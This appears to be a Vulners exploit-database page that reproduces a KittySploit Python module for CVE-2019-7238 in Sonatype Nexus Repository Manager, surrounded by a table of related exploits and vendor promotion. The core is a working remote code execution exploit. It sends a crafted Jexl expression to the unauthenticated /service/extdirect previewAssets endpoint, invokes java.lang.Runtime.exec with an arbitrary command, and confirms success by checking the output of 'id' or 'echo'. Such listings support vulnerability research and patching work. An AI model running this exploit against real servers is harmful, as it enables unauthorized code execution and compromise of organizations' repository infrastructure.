Sonatype Nexus Jexl RCE (CVE-2019-7238)
| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| Exploit for CVE-2019-7238 | 26 Jul 201916:08 | – | githubexploit | |
| Exploit for CVE-2019-7238 | 24 Feb 201923:09 | – | githubexploit | |
| Exploit for CVE-2019-7238 | 21 May 201913:16 | – | githubexploit | |
| Exploit for CVE-2019-7238 | 20 May 202114:03 | – | githubexploit | |
| Exploit for Code Injection in Pivotal_Software Spring_Data_Commons | 11 Apr 202111:34 | – | gitee | |
| CVE-2019-7238 | 21 Mar 201900:00 | – | attackerkb | |
| The vulnerability of Sonatype Nexus Repository Manager relates to insecure management of privileges, allowing a perpetrator to execute arbitrary code. | 1 Jul 202200:00 | – | bdu_fstec | |
| CVE-2019-7238 | 13 Jan 202011:32 | – | circl | |
| Sonatype Nexus Repository Manager Incorrect Access Control Vulnerability | 10 Dec 202100:00 | – | cisa_kev | |
| CISA Adds Thirteen Known Exploited Vulnerabilities to Catalog | 10 Dec 202100:00 | – | cisa |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Sonatype Nexus Repository Manager Jexl RCE (CVE-2019-7238)."""
import json
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Sonatype Nexus Jexl RCE (CVE-2019-7238)',
'description': (
'Exploits CVE-2019-7238 in Nexus Repository Manager <3.15.0: missing ACL on '
'/service/extdirect previewAssets allows Jexl expression remote code execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2019-7238'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2019-7238',
'https://support.sonatype.com/hc/en-us/articles/360017310793',
],
'tags': ['nexus', 'sonatype', 'jexl', 'rce', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2019_7238_detect'],
},
},
}
extdirect_path = OptString('/service/extdirect', 'Nexus extdirect endpoint', required=False, advanced=True)
def _payload(self, expression: str) -> str:
body = {
'action': 'coreui_Component',
'type': 'rpc',
'tid': 8,
'data': [{
'sort': [{'direction': 'ASC', 'property': 'name'}],
'start': 0,
'filter': [
{'property': 'repositoryName', 'value': '*'},
{'property': 'expression', 'value': expression},
{'property': 'type', 'value': 'jexl'},
],
'limit': 50,
'page': 1,
}],
'method': 'previewAssets',
}
return json.dumps(body)
def execute(self, cmd: str) -> str:
safe = str(cmd).replace("'", "\\'")
expr = (
f"''.class.forName('java.lang.Runtime').getMethod('getRuntime',null)"
f".invoke(null,null).exec('{safe}')"
)
path = str(self.extdirect_path or '/service/extdirect').strip()
r = self.http_request(
method='POST',
path=path,
data=self._payload(expr),
headers={
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
},
allow_redirects=False,
)
return (r.text or '') if r else ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2019-7238 Jexl RCE confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Nexus extdirect Jexl not confirmed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
out = self.execute(f'echo {token}')
return token in (out or '')
def run(self):
if not self.check_execute():
chk = self.check()
if not chk.get('vulnerable'):
self.not_vulnerable()
return False
print_warning('Command output not reflected — execution may still be blind')
cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip() or 'id'
self.execute(cmd)
self.vulnerable()
return True
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
9.2Critical risk
Vulners AI Score9.2
CVSS 27.5
CVSS 3.19.8
EPSS0.77146
SSVC